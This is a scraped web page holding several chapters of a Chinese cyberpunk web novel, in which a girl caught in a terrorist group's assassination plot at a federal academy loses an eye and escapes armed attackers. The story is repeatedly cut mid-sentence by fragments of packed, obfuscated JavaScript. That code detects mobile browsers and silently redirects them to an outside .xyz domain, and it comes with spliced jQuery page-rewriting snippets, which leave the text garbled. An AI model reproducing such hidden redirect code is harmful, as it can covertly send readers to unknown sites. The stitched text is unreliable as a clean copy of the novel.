l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013783|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次感慨,Z教的精神术法越来越好用了。 至于霍尔什么时候发现东西丢了,那就和她没有任何关系了,她只是个普通的、可怜的小女孩,监控为证,她可没有做任何奇怪的动作。 等到晚上,她需要赶紧联系回溯。 霍尔是个行动派。 悬浮车在空中疾驰着,宋拾趴在车窗上瞪圆眼睛观察这个世界,像是一个真正的孩子。 “对了,谢谢您给我的安排心理咨询师。”宋拾随意说了一句。 “你觉得怎么样?他是联邦最出名的心理咨询师。” 她认真思考了一番,回答道:“我讨厌他的香水味。” 年长者对她的回答似乎颇为赞同,罕见地露出了一丝笑意。 外面不知何时下起了小雨,将玻璃窗砸出一道又一道水痕。 巨人般高耸的钢铁建筑将天空遮得密不透风,游蛇似的电轨车潜入城市的每个角落,五花八门的全息投影广告把天空填补的满满当当。 很符合宋拾对赛博朋克的刻板印象。 霍尔的悬浮车一路疾驰,抵达联邦学院时,雨已经停歇。 上校的身份就是方便,霍尔跟人打好照面后,入学手续就算是办好了。 给宋拾带路的仿生人是女性的形象,长发披肩,眼角时刻带着笑意地弯起,看起来很容易让人降低戒备。 路上经过的学生穿着学院制服,胸口佩戴着宋拾熟悉的机械玫瑰校徽。 “姐姐,联邦学院的安保怎么样呀。”宋拾状似无意问道。 “在所有院校中,联邦学院的安保系统排在第一。” 意料之中的回答。 宋拾没有再问。 七拐八拐,终于走到了训练场。训练场是室外的,一眼望不到头,里面站着不同年级的学生,八九岁到二十几岁的都有,即便如此,训练场也并不显得拥挤,各年级井然有序地……相互攻击?? “你是宋拾?” 一道声音突然响起,宋拾放眼望去,只看见一双修长的腿,她不得不奋力抬起头。 老师身形极为高挑,长长的马尾扎在后脑勺,她轻笑了声,特意蹲下来,说道:“宋拾对吧?以后你就是我班的了。” 宋拾:“……” 感受到了莫大的冒犯。 老师将她领进班级队伍中,因为宋拾的加入,她把课程讲得很慢,平常不会提及的细节也拿出来掰碎了讲。 今天的课程是加速,老师说只要足够熟练,速度甚至能远超悬浮车。宋拾觉得很实用,全程眼都不眨一下,全神贯注地听着。 老师讲完后,仿生人已经将上课用的跑步机备好。 “这台跑步机和普通的跑步机不同,它的速度分为五个等级,分别为每分钟1.5km,2.5km,3.5km,4.5km,5.5km。”老师平静道,并不理会学生们逐渐崩裂的表情,“别这么看着我,我也并不是什么心狠手辣的老师,一个星期内你们达到每分钟1.5km就行。” 她的目光轻轻扫过学生。 “有没有人想先上来试试?放心,老师多少还是有点用的,你们最多会骨折,不会死亡。” 11. 第十一章 “我来。”有人举起了手。 宋拾投以钦佩的目光,狠人啊。 那位学员疏松了下筋骨,站上跑步机。 淡蓝色的符文在她皮肤上以极快的速度滑动着,脚下的跑带逐渐运作,速度越来越快,跑出道道残影。 跑步机上的计时缓慢流动着,三十一秒了。学员脸色泛白,大颗大颗汗珠滚进她眼眶里,腿上的动作明显滞缓,刚慢下来一点,她整个人便被跑带带飞。 老师手疾眼快释放出一张绵软的网,那名学员有惊无险,只是受了点轻伤。 “三十三秒,还行。”老师点了点头,将目光投向学生们,“接下来,谁来?” 有了开头,后面学生便陆续大胆举手,一个个上去,一个个又被跑带带飞,老师负责时刻释放精神术法铺网兜人。 最后老师慈爱地将目光投向全班唯一的豆丁宋拾身上,“如果勉强的话,可以先不试。” “……”攻击性不强,侮辱性极大。 宋拾摇头,目光坚定:“我想试试,老师。” 宋拾站上跑步机,蓝色的符文从她肌肤上浮现滑动,脚下的跑带开始滚动,她控制着呼吸,咬紧牙关将精神术法释放到极限。 这个精神术法宋拾决定要学到极致,攻击强的精神术法固然好,但逃跑更有性价比。 跑步机上的计时不知不觉间攀到了四十秒,宋拾不断地调整着呼吸节奏,汗水浸湿整个后背,衣服黏糊糊地贴紧脊背。 周边围着的学员逐渐增多,他们大气不敢出地看着她,在心底默默数着时间。 五十六秒…… 五十八秒…… 六十秒! 跑步机的速度逐渐变缓,最终停下来。 宋拾眼前一黑,重心不稳地几乎要栽倒在地,摇摇晃晃从跑步机上下来,随即雷鸣般的掌声在宋拾耳边炸起,热烈又充满激情。 她不可思议地环视人群,什么时候多了这么多人? 老师鼓着掌,一脸惊喜地看着宋拾:“小姑娘不错呀。”天大的好事终于轮到她了,天赐的好苗子。 老师夸完后,迅速垮下脸,语气严厉道:“但精神术法也不能使用太过,超额释放精神术法,会给身体造成不可逆的后果。” 宋拾在跑步机上时毫无技巧可言,全靠硬撑,虽然钦佩这么小的孩子就有如此强的意志力,但超负荷释放术法,总归对身体不好。 不可逆?宋拾老老实实点头,默默记得心里。 每人又轮流接替地跑了几次,宋拾在一次次精神力耗尽狂灌营养液中,发现自己精神力的边界“拓宽”了,原本冲不破的屏障,如今轻松突破。 由于人造太阳光,训练场始终亮如白昼,如果不是老师提醒,宋拾根本不会意识到现在应该是夜晚。 她跟着今天带领她的仿生人七拐八拐离开了学校,一走出校门,绚丽的霓虹灯和建筑楼银幕中的精致女明星代言的美容广告映入眼帘。 女明星洁白如瓷的牙齿比霓虹灯还要夺目。 “滴滴——”短促的车鸣响起,一辆悬浮车停在宋拾身边。 车窗降下,露出一双淡金色的双眼,深邃有神,是霍尔。 “上车。” 宋拾打开车门坐了进去,脸上是惊讶的神情:“先生今天没事吗?” 霍尔颇有些头疼地揉了揉鼻梁,“今天没事,明天有事。” “义肢协会主席明天会到你们学校授课,我们需要把警戒拉到最高……算了,你也听不懂。” 宋拾没说话,敬职敬责地扮演一个懵懂的小孩。 她将脸贴在车窗上,联邦市的夜景很好看,白天看不见的霓虹灯和各种桃色小广告纷纷跳进她的眼眶里。 赛博人玩得还挺花,她兴奋地睁大眼睛。 突然,车窗蓦地黑了下去,宋拾不明所以地扭头,就看见霍尔黑着一张脸点开了通讯,“联邦市晚上的广告该整治了,明天晚上,我要见到效果。” 话音落下,点击挂断,整个动作行云流水。 没了夜景可看,宋拾无聊地打了不下十个哈欠,终于,悬浮车停了。 “明天会有无人车接送你。”霍尔说道,顿了顿,补上一句,“如果有不适应的地方,告诉老师。” 宋拾合上车门,乖巧点头。 霍尔颔首,车窗上升,悬浮车车尾亮出白色是光芒,升到空中,疾驰而去。 宋拾凭着白天的记忆找到那盆花盆,摸出被封好的枪和智环,夹在腋下,往住所走。 打着哈欠,宋拾推开房门,黑漆漆的屋内,流淌着另外一个人的呼吸声,宋拾瞬间清醒过来,似是毫无察觉地走进屋内,小心翼翼地拆开封层,正要给枪上膛,她的手顿住。 不,不行。 她前进的脚步又退了出去,如果枪响了,她偷枪偷智环的事情绝对会暴露。 要先找安防机器人。 “是我。”黑暗中,一个熟悉的声音响起。 宋拾打开灯,灯光刷地亮起,她下意识眯起眼睛,看清眼前的人后,瞬间卸下戒备。 黑色卷曲的短发,红色的眼眸此刻微微弯起,闪着狡黠的光芒。 “害怕了?” “有点,你也不提前打声招呼。”宋拾疲惫地打着哈欠走过去,坐到她旁边。 贝莉娅牵起嘴角,嘲讽道:“谁知道你没逃掉啊,白赔了我的枪。” 宋拾:“……” 又不是她乐意给回溯打工,谁知道回溯那么狗,往人心脏安装炸弹啊。 “还好你进了联邦学院,如果你今天没有一点动作,现在已经是一滩肉泥了。”贝莉娅随意嘟囔道。 “明天付秋棠会到联邦学院授课,A计划是,在交流环节,你尽可能把她往靠墙的地方引,剩下的交给我们。” 宋拾心中一跳,她皱了皱眉,压低嗓音:“明天联邦军方的警戒会拉到最高,我们的任务是要在密不透风的安防下杀死付秋棠?” 贝莉娅挑眉,露出甜腻腻的笑容:“世界上没有什么密不透风的东西,多的是空子钻。” 好吧,很有几分道理。宋拾又继续问道:“那B计划呢?” 有A计划,也就会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013784|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' B计划C计划来确保任务能够完成。 “B计划你不需要知道。”贝莉娅站起身,“我先走了。” “等下。”宋拾叫住她,将枪掏出递过去,“你的枪。” 她要打感情牌了。 “终于物归原主了。”宋拾扯起嘴角,故作轻松地耸肩,让自己看起来很有几分真诚,“这把枪其实很重要的吧。” 贝莉娅接过枪,指腹轻轻摩挲着上面的刻痕,粗糙的绵羊和歪歪扭扭的“forever”。 不知是这句话蕴含的感情过于丰富,还是宋拾演得太假,贝莉娅打量起宋拾:“说吧,你想问些什么?” 宋拾脸上并没有被人戳破心思的懊恼,而是直奔主题:“我心脏的炸弹可以摘除吗?” 贝莉娅将枪收进腰间,道:“摘除只能由赵珂来,因为一旦进行摘除手术,赵珂那边会传来警报,一个按钮就能结束你的生命。” “当然,你要是有本事,我又正好在赵珂那里,就帮你打个掩护。” 反正是不可能的,贝莉娅在心里默默补上。她走到窗边跳进黑暗中,与夜色逐渐融为一体。 只能赵珂来?宋拾咬了咬手指,头皮有些发麻。 她现在头顶就像悬了一把刀,不知道哪天就掉了下来。那边西索斯喜怒无常,又疑神疑鬼的,往她心脏里被安了定位炸弹,她想逃都逃不掉,这边联邦也不知道会不会因为她身体的特殊,到时候搞个活体研究。 怎么看都是横竖要死。 不过,还有件事情需要确认。 迅速收起悲观的心情,宋拾草草地洗漱完毕后,开启智环,点开论坛,毫不意外,铁皮猫那醒目的99+的消息红点。 铁皮猫:看见今天的电视了吗?我上电视了哎!呜呜呜,有生以来第一次上电视居然还是在另外一个世界,要是我妈知道,她一定会骄傲死……我想家了,你肯定也想家了吧。 铁皮猫:啊啊啊啊啊一想到明天要去联邦学院上课了,我就大脑空空,万一被人看出来怎么办QAQ 铁皮猫:我有一种不详的预感,感觉明天会发生很多事情! 显而易见,付秋棠就是铁皮猫,这个世界真小啊,宋拾不由感叹。 今天捡垃圾了吗:你不怕我是坏人吗?还真敢暴马甲。 铁皮猫:哎呀,都是老乡,再坏能坏到哪去。对了哈,关于那个肉团,我听他们的意思是,那玩意来自深海。 来自深海?宋拾点开表格,将这条信息补充上去。返回私信界面,她缓缓打上: “明天,无论如何都不要靠近墙。” 铁皮猫不能死,她最接近任务的真相,如果她死了,宋拾再想获取关于伊索纳德号的信息就更难了。 宋拾既要完成回溯的任务,又不能让付秋棠死,但一旦A计划失败,回溯接下来的动作就是她无法预测的了。 宋拾太阳穴突突直跳。 她果断点开【肉骨再生】的课程,这几天她已经学到一半了,坚持就是胜利,往最坏了的想,万一到时真被炸的粉身碎骨,说不能她还能自我抢救一下。 12. 第十二章 付秋棠的出场格外高调。 里里外外被人围了三圈,各个持枪,冷着脸疏散人群。 联邦军人手持枪械,警惕环顾四周,进来的人都要通过仪器检测是否携带危险物品,会堂内甚至安装了抑制精神术的装置,一旦发现可疑的人员,会立即行动将其架走审讯。 宋拾进场时,鼻子痒了都不敢挠,生怕穿着军装的军人拿枪怼到她脑门上。 互动环节,她只需要负责举手就好了,至于付秋棠会不会过来,可就不是她能控制的,西索斯总不能因此恼得要炸了她吧…… 艹,好像还真有可能。 稳住奔溃的情绪,宋拾寻了个靠墙的座位坐下,她悄悄环视四周,并没有发现贝莉娅的身影,倒是发现了墙上的激光枪。 她挑眉,扒拉了一下身边的同学:“哎,这个阵仗是不是有点离谱了,一个义肢协会主席居然需要动用军方的力量。” “她可是付秋棠啊,人家还有个身份呢,联邦总统的女儿。”同学上下打量宋拾,“这你都不知道?” 联邦总统?铁皮猫没给她讲过,不过不出意外的话可能就连现在的付秋棠本人也不清楚自己的身份。 宋拾垂下眼睫,好不哀戚:“我从久藤市刚到联邦不久,久藤的信息网并不发达。” “啊,抱歉抱歉,我不知道你是……呃,我叫汪子尧,奥罗拉集团总裁的儿子,你叫什么?” 听到关键信息,宋拾这才正视眼前的总裁儿子哦不,汪子尧,褐红色头发的混血儿,身形偏消瘦,一双眼睛生的狭长。 “宋拾。” 汪子尧好奇地看着宋拾:“久藤市真的和联邦网上说的一样吗?据说连狗都会饿死。” 宋拾琢磨了下这句话,道:“久藤市没有狗。” 汪子尧皱眉,立马道:“不可能,怎么可能会没有狗。” “如果有也会被人捉去吃掉。”宋拾有些不耐烦。 汪子尧脸上先是出现了厌恶,后又露出微妙的神奇:“你们久藤的人是不是只要能活,什么事都能干出来?” 宋拾蹙眉,又听到这位接着道:“那如果在久藤市办一场生死决斗赛,胜者获得一百万星币,你们是不是都会参加?” 汪子尧狭长的眼睛闪着精明的光,自顾自嘟囔着:“到时候全程直播,以生死为噱头,说不定还真能大赚一笔!反正久藤的人嘛,都是基因劣等的底层……咳咳,我不是说你啊。” 在高傲的财阀眼里,穷人自然算不上人。 她微笑着装出一副“你继续,我在听”的倾听模样,实则不停地观察四周有没有可以人物。 在汪子尧的长谈阔论中,付秋棠也终于被簇拥着上了台。 宋拾突然察觉到不对劲的地方。 为什么是靠墙?靠墙会更方便刺杀吗?还是说有了隐形衣这种高科技? 耳边汪子尧仍在喋喋不休讲着他的赚钱想法,她却完全听不进去,心莫名不安起来。 再一次地环顾周围,并没有看见可疑的身影。 “咳咳!” 台上,付秋棠简单调试了下麦克风,目光投向座无空席的观众席,手指忍不住蜷缩握紧。 没事,加油!付秋棠,你可以的!她深呼吸默默给自己打气。 “呃……呃……今天大家之所以欢聚在这里,呃呃,就是为了今天,哈哈,我是说,你们有什么想问的吗?” 观众坐席上静悄悄,所有人的目光聚焦在她一人身上。 付秋棠手心沁出冷湿的汗,头恨不得埋进胸口,突然她眼前一亮,有人举手了。 对方看起来只有十岁左右,十岁好啊,十岁孩子的问题她总是能答出来的。 会堂比较大,互动环节付秋棠需要下去,她扯出微笑,正要走下台时脚步顿了下。 昨天“今天捡垃圾了吗”告诉她不要靠近墙……她看了眼那名孩子就坐在靠墙处,不由地又挪了回来。 在哪都是问,无所谓,她露出友善的微笑:“小朋友,你有什么问题吗?”反正她是不会下去的! 宋拾眨了眨眼,她还没想到该问什么问题,在义肢方面她一窍不通,但演戏必须做足,即便结局既定,也要装出一副极力完成的模样。 “我想问一下……” 陡然间,后脊一阵酥麻的电刺,宋拾警铃大震。 观众席中爆发出一声刺耳尖锐的尖叫。 大大小小的红色蚰蜒从坐在宋拾附近的少年的口中、眼中、耳中争先恐后爬出,行动速度比她在回溯食堂看见的那批要快。 又是一阵尖叫的浪潮,“镇定!”不是谁喊了一声,伴随着阵阵枪响,人群嗡了几下,安静下来。 联邦军训练有素地瞄准那些蚰蜒,但子弹打在这些红色的蚰蜒身上如同刮痧,反倒激得它们速度越来越快,跳起扑到附近观众的脸上。 “啊啊啊啊!”离得近的汪子尧鬼哭狼嚎,吓得连连尖叫后退。 宋拾小心翼翼往后撤。 A计划,失败。但A计划会成为B计划的一部分,混乱的效果回溯已经达到了。 她抬眼瞥了眼不知所措的义肢协会主席。 付秋棠不能死。 就在宋拾努力挤出人群时,突然被人狠狠地往后一推,她踉跄着险些摔倒在地,还没反应过来是哪个缺德的推的,一团红色猛地扒拉到她脸上。 “对不起,我不是故意的。”有人轻轻说了声。 宋拾听出来声音了,汪子尧。 紧接着,眼球一阵钻心的刺痛。 “砰砰——” 脸上的蚰蜒落了下去。 宋拾的半张脸被鲜血染红,她抬手抚上空荡荡的左眼眶,鲜血浸染在她的指尖。 眼前模糊的人影,惊恐地后退。宋拾站起身,一步步朝前走,人群不约而同为她让出条道。 浓稠的血液滴落在地面,留下道长长的血迹。 耳边只有自己粗重的呼吸,周遭仿佛被按下了静音键,宋拾握紧拳头努力适应模糊的视线,该死的,汪子尧,奥罗拉,她一定会还回去的。 血痕像是蜗牛留下的粘液,她一步步靠近付秋棠,即便现在看不见,宋拾也大概能猜出来已经有数个枪口对准她了。 终于,她距离付秋棠还剩五六米。 这个距离是相对安全的,再走几步恐怕就要被爆头了。 羸弱瘦小的身体颤颤巍巍,摇摇欲坠。 “帮我做义眼手术。”她的嗓音有些嘶哑,“铁皮猫。” 最后的字音刚落,她像是再无支撑般,昏倒在地。 这是宋拾短时间内想到的唯一办法,既可以让联邦军将视线放在付秋棠身上,不给回溯钻空子趁乱杀人的机会,而她说不定也能得救。 必须要快,她在赌。 有人架起她,是一名联邦军,似乎要将她拖出去。 可恶,早知道不昏迷那么早了。就在宋拾思考要不要现在睁眼再挣扎一下时,便听见付秋棠几乎是颤抖的声音。 “站住!准备手术室,立刻!我主刀。” 宋拾悬在嗓子眼的心终于落了回去,她任由那位联邦军抱着,眼睛阵阵刺痛着,前往手术室的时间被无限拉长。 生命像沙漏里的流沙般缓慢流逝,她的呼吸声愈发微弱,轻而浅地吸取着氧气,脸上的血迹已经凝固,夹杂着些许血块。 付秋棠焦躁着一遍遍催促着快点。 在这个充斥着死亡与压抑的地方,眼前的这个小可怜是她在这个世界里唯一的老乡,精神寄托,可以相互依偎抱团取暖,如果“今天捡垃圾了吗”死了,付秋棠简直想象不到她该如何在这里生存。 她一定会救活她。 所以,再快点再快点。 付秋棠的额头急出细汗,手指微微颤抖着。 “哗啦。” 刺眼的手术灯打在女孩苍白毫无血色的面庞上,如果不是胸口还在微微起伏着,付秋棠就要以为她已经死亡了。 “付小姐,我们会时刻在门外待命,如果有任何问题,只需要您唤一声。”联邦军单手握拳放在胸口,挺直的脊背微弯。 付秋棠胡乱点头,摆手让他出去。 手术靠控台上,医疗机械手臂拿出麻醉剂,女人望着大大小小的蓝色屏幕,深呼吸一口气,就在要点击“注射”时,女孩突然睁开眼睛。 左眼眶空空荡荡,残留着一些眼球的白色残渣,看起来格外可怖,吓得付秋棠手一抖。 “不要注射麻药。” 女孩干涩嘶哑的声音像是在隐忍着什么。 付秋棠无法理解,嗓音尖了上去,“不注射麻药你痛也要痛死!” 宋拾费力地吸着气,咬着牙一字一句道:“没关系,我需要保持清醒。还有件事想拜托你……能帮我摘除心脏里的定位炸弹吗?你是义肢协会的主席,说不能可以……” “定位炸弹?” 付秋棠惊呼,又急忙压低嗓音。 “可能会在手术中途爆炸的炸弹……咳咳……如果你不愿意也没关系。”女孩的脸愈发苍白。 “我答应你。”付秋棠扬声。 时间紧急,她咬咬牙也没问宋拾哪来的定位炸弹,迅速开始在屏幕上操作。 止住血后,付秋棠手速快到飞起,火速清理完眼球的碎块,在众多义眼选中最匹配宋拾生物基因的一颗,安进空荡的眼眶。 宋拾眨眨眼,义眼刚佩戴上去还有些不适应。 “接下来就是心脏了。”付秋棠拿起干净的帕子擦拭额头的细汗,“你确定不打麻醉吗?” “不打。” 医疗仪器再次运转起来,宋拾睁着眼望着天花板,感受着胸口的疼痛,被刀划开撕裂的痛苦,好在是她可以忍受的范围。 铁门上显示的时间悄然流逝,付秋棠额头上的汗越来越多,她也无暇去擦拭。 老实说,这其实是她来到这个世界的第一场手术,付秋棠也不知道自己怎么敢答应宋拾的。 一个敢说,一个敢做。 看着被自己划开的口子,付秋棠努力忍住腹中的翻涌,终于,她看见了那枚微小的炸弹。 镊子缓缓夹住炸弹。 …… “如果我没记错的话,今天你不应该在联邦学院里埋伏着吗?” 赵珂埋头伏在终端前,敲敲打打编辑着什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013785|162062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贝莉娅的手抚摸上冰冷的营养罐,她的目光仔细地描摹罐中人的模样,指尖收进掌心逐渐握成拳头,“六年了,芙蒂斯为什么还没痊愈?” 赵珂闻言,嗤笑一声,摘掉眼镜擦拭了下重新戴了回去,“孩子,何必如此着急呢?” 贝莉娅冰冷的目光看向她,“难道你要让她要待在你破罐子里一辈子?之前你明明答应我,最慢三年就能治好她。” “孩子,你究竟在急些什么?”赵柯好整以暇地看着她,“在治疗中总会出现意料之外的事情,也许需要三年也许需要七年,或者更久,心急是没有用的。” 愤怒的红眸燃烧着火焰,贝莉娅握紧的拳头松了又握,“你究竟能不能治好她?” 赵珂目光投向营养罐里那个黑色长发的少女,继而挪到贝莉娅脸上:“你只能相信我,不是吗?” 贝莉娅皱起眉毛,刚要张口反驳时,余光中突然瞥见赵珂终端屏幕上的警报提示灯,心脏猛地一抽。 宋拾她怎么真敢偷偷做手术? 贝莉娅深呼吸平复心情,没想到昨晚的话一语成谶,必须要想办法转移赵珂注意力。 “你是不是在故意放缓我妹妹的治疗?” 这句话也是她一直想问的。 赵珂却诡异地沉默了下来,幽深的深褐色的眼珠打量着她。 “倒是比以前聪明些。” 贝莉娅浑身仿佛坠入冰窟般冷,即便之前隐约猜到了,但她还是有些不可置信地将后背靠在冰凉的营养罐上,“为什么?” “这是西索斯的要求,你知道的,他需要一条忠诚的狗。不过,好孩子,我很好奇你为什么会说出来?还以为你要把这个疑惑闷在心里一辈子呢。”赵珂十指交叉抵在下颌处,微笑着问道。 突然,她像是注意到什么,“哎呀”一声看向闪烁的终端,不满说道:“瞧,叛徒这不就来了吗。” 她的手指点击“爆炸。” 贝莉娅犹如失声,嗓子干涩,话滚到嘴边又被压下。算了,她已经帮过她了,至于能不能活下来,就看宋拾自己的造化了…… 宋拾的造化不错。 与死神擦肩而过,死神并没有收人。 刚取出放进防弹罐中,微型炸弹便立刻爆炸开来。 “差一点!好恐怖!” 成熟稳重的女性脸上浮现了夸张的惊恐,她拍着自己的胸口反复嘟囔着。 “别恐怖了……快缝合。”宋拾苍白的唇瓣无力地张开。 “嘻嘻,剩下的就不难咯!” 付秋棠重新坐直,盯着屏幕,操纵仪器开始缝针。 “现在可以给我说说你这个炸弹是怎么来的吗?” 宋拾沉默,话在心里转了一圈,半真半假道:“我之前被回溯抓去做人体实验,他们为了防止我逃跑安装的。” 付秋棠露出厌恶的神情:“回溯真恶心!恐怖组织果然没有人性,连小孩都不放过!” 此时,针也缝好了。 “你需要静养——” “嘣!” 铁门蓦地弹开,门外站着一堆带着头盔的人,他们身边歪七扭八倒着联邦军人。 两人对视一眼,暗道不妙。 回溯怎么来得那么快? 宋拾心脏揪了起来。 没想到联邦军跟纸糊的一样,一点动静都没有就全倒了。 不对,不对。 宋拾冷静下来,这些人不是回溯,他们身上没有机械化的痕迹。 难道是刺杀付秋棠的另外的势力? 为首的人陡然举起激光枪瞄准宋拾,扣动扳机,红色的激光投射出。 宋拾眉心一跳,鲤鱼打挺从手术台上滚到地下,一不小心扯到伤口,疼得她脸一白。 激光扫在手术台上,手术台瞬间被切割成两半。 男人的声音没有任何情绪:“击杀056号实验体,不要伤到无关人。” 其余人微微点头,纷纷举起手中的激光枪瞄准宋拾。 宋拾几乎走投无路地往后挪动,所有的一切都在她脑袋里飞快闪过,一件件事情连起来交织成一条完整的脉络。 她的目光扫向瘫倒的联邦军。 他们并没有死亡,甚至身上没有任何伤口血迹,更像是陷入了深度睡眠。 也就是说,说明眼前的这些人并不想杀死他们,他们的目标是她,销毁”056号实验…… 宋拾还记得与特瑞莎通讯的人说过一句“只有那位才……”,这副身体的身份本就来历不清,正巧昨天上午刚抽血化验。 所有的箭头都指向了——联邦。 要死了,联邦也要杀她!她心脏剧烈泵血,呼吸有些急促。 梳理完后,宋拾迅速想出对策,她舌头抵在腮帮子处奋力朝付秋棠扑去。 头盔人说,不要伤到无关人。 这个无关人就很灵性,付秋棠是联邦总统的女儿,他们一定不会杀付秋棠。 激光比她预料的更快,红色的激光差点扫过她纤细脆弱的脖颈,但好在,她及时扒拉住了付秋棠。 付秋棠也很崩溃,战栗着扶住宋拾,带着哭腔:“完了,我们要死了!” 13. 第十三章 宋拾贴紧付秋棠,警惕地扫视眼前的头盔人们。 果不其然,他们握着激光枪却迟迟没有动作。 “我来找外援。”付秋棠攥紧终端,双手抖如帕金森患者。 看见终端屏幕上“霍尔”两个大字,这不是要加速她死亡的速度吗!宋拾急忙扯扯付秋棠的衣角,狠狠地摇了摇头,“他不可以!” 付秋棠瞪大眼不解地看着她,“为什么啊?” 宋拾:“……” 好问题,因为想杀她的就是他。 为首的头盔男挥了挥手,两个魁梧的人放下枪,像两堵高墙般靠近她俩,巨大的人影笼罩下来。 泛着冷光的金属头盔配上五大三粗的身躯显得格外具有震慑力。 其中一个上前,撕墙纸似地扯住宋拾的胳膊,另一个伸手就要按住付秋棠。 “啊啊啊啊啊!别碰我!” 付秋棠惊恐尖叫,双臂环抱,刺耳的高音层层递进,一声托着一声直冲房顶。 陡然,“刺啦”一声,布料爆裂的声音响起。 数条机械长条从她后背延伸而出,张牙舞爪地在空中腾飞。 “啪啪”几下,金属藤条卷住两个头盔人带到半空用力一甩扇飞。 她毫无察觉仍在闭眼尖叫着,被扇飞的两人当场没了声息,牙齿都被扇落了好几颗,看得宋拾目瞪口呆,满脑子被“卧槽”霸屏。 “付秋棠”本人应该也是个怕死的,直接往自己身体上安装武器。 剩下的头盔人同样惊在原地,一时间也不敢上前。 好机会,宋拾眼前一亮,急忙扒拉住付秋棠颤抖的胳膊,“我们快逃!” 付秋棠睁开眼睛,大口喘气,目光触及地面上死状悲惨的尸体,又是一哆嗦:“你干的?” “……不,是你干的。”宋拾指了指还在空中狂舞的金属藤条。 付秋棠跟着她手指的方向目光上移,数条藤条舞动着,看起来安全又可靠。 “我数到三,我们就跑。” “好。”付秋棠吞咽口水,郑重点头。 “三!” 宋拾拽着付秋棠就往前冲,付秋棠的尖叫再度扬起:“你的一呢?!” 两人死命朝前冲,头盔人们迅速反应过来,堵在门口,还没来得及举起武器就被发疯的藤条当陀螺抽。 机械藤蔓犹如活了一般,来者皆扇,精准狠毒地扇飞每个挡路的头盔人。 付秋棠内里还只是个高中生,她虚闭着双眼不敢看,这次的恐惧感与以往的不同,是一种无力的荒谬感。 自己在杀人。 她生活的地方,即便真有枪响人们也会以为是放炮或是气球炸了。付秋棠从未想过自己手上会染上别人的生命,这样的她和这些蔑视生命的坏蛋又有什么区别。 宋拾出声道:“游戏玩过吗?想活命吗?把它当做成一场生死游戏,赢了就能活。” 她想活。 付秋棠睁开眼睛,吞咽口水,点头道:“好。” 在藤条甩飞最后一个人后,两人终于逃出手术室,却一头扎进密不透风人形牢笼。 头盔人像是终端上复制粘贴出来的,相同的身高体型,相同是姿态,紧紧地包围住两人。 他们手持激光枪,戒备地盯着抽搐扭动的金属藤蔓,头盔内部的屏幕迅速浮现分析出的数据。 “联邦军呢?!”付秋棠无法想象联邦军队怎么那么弱,整出如此大的动静,救援居然还没到。 因为他们是一家的啊! 宋拾心梗地四十五度角抬头望天。 不论在末世还是这个世界,她都是奔波逃命的命,短短不到一个月,就已经死里逃生了数回。 她明明只是想要好好活命而已,怎么那么难啊。 付秋棠突然握住宋拾的手,整顿好心情的她语气里带了些雀跃,“等别人救不如等自己!我突然想起来一件事情!” 她微微抬起下颌,双眸看向天空,嘴角牵起自信的弧度。 “我的交通工具!” 宋拾:“啊?” “轰隆隆——” 突然,天空中一道闪电似的光窜来,一辆小型飞艇破空而至,遽然直直降落,咣当一声挡在两人身前。 伴随着机械提示音响起,飞艇自动开启全息屏障将两人护在里面。 防护屏障上呼吸波动的蓝纹像海面的波纹,一圈又一圈。 “叮——” 金属舱门打开。 抱歉,是她刚刚说话声音太大了。 宋拾瞳孔地震,再次被这个世界的科技洗礼。 “快抓住她们!” 激光枪不断地射在屏障上,他们联合射击一个地方,没几秒,屏障便碎了一个豁口。 两人急忙往舱门跑,上方的全息屏障响得“咔嚓咔嚓”,虚拟的碎片犹如皮屑般轻轻飘落下来,直至数据消失散去。 “咔嚓!” 屏障完全破开,舱门也在此时合上了,激烈的激光枪打在艇身上,叮叮当当像是死神的脚步声。 付秋棠坐在驾驶座上点开屏幕。 “宙启将为您服务,付秋棠小姐,请下达指令。”温柔的机械女声响起。 “逃离这里!” “好的。” 飞艇嗖的一下起飞升上高空,底下的头盔人逐渐变成迷你的小人。 突然,飞艇顶部像是撞击到物体,“铛”地一声,艇身剧烈摇晃起来。 宋拾一个不稳,猛地扯到胸口刚缝的伤口,疼得她抬起舌头抵住上颚,踉跄了几下险些摔倒在地。 艹,什么B动静? “撞击到未知屏障!撞击到未知屏障!” 宙启的警报声陡然急促。 手指死死抠住飞艇内部不知名凸起物,指节泛着白色,她将目光投向窗外。 一眼望不到头的淡蓝色屏障似乎包裹住了整个学院。 宋拾:“……” 她这是犯了天谴吗?! 居然甚至不惜搞出那么大的动静就为了击杀实验体“056”号,这个“056”号究竟是什么来头? 宋拾仿佛已经看见了明天联邦网早报的标题了“震惊!联邦学院安保系统居然……” “检测到有五艘飞艇靠近!” “是否选择攻击?” 人工智能宙启的语气染上了焦急的情绪,模仿人类遇到危险的语气。宋拾觉得这种功能很鸡肋,除了进一步渲染了紧张恐怖的氛围,并没有别的用。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 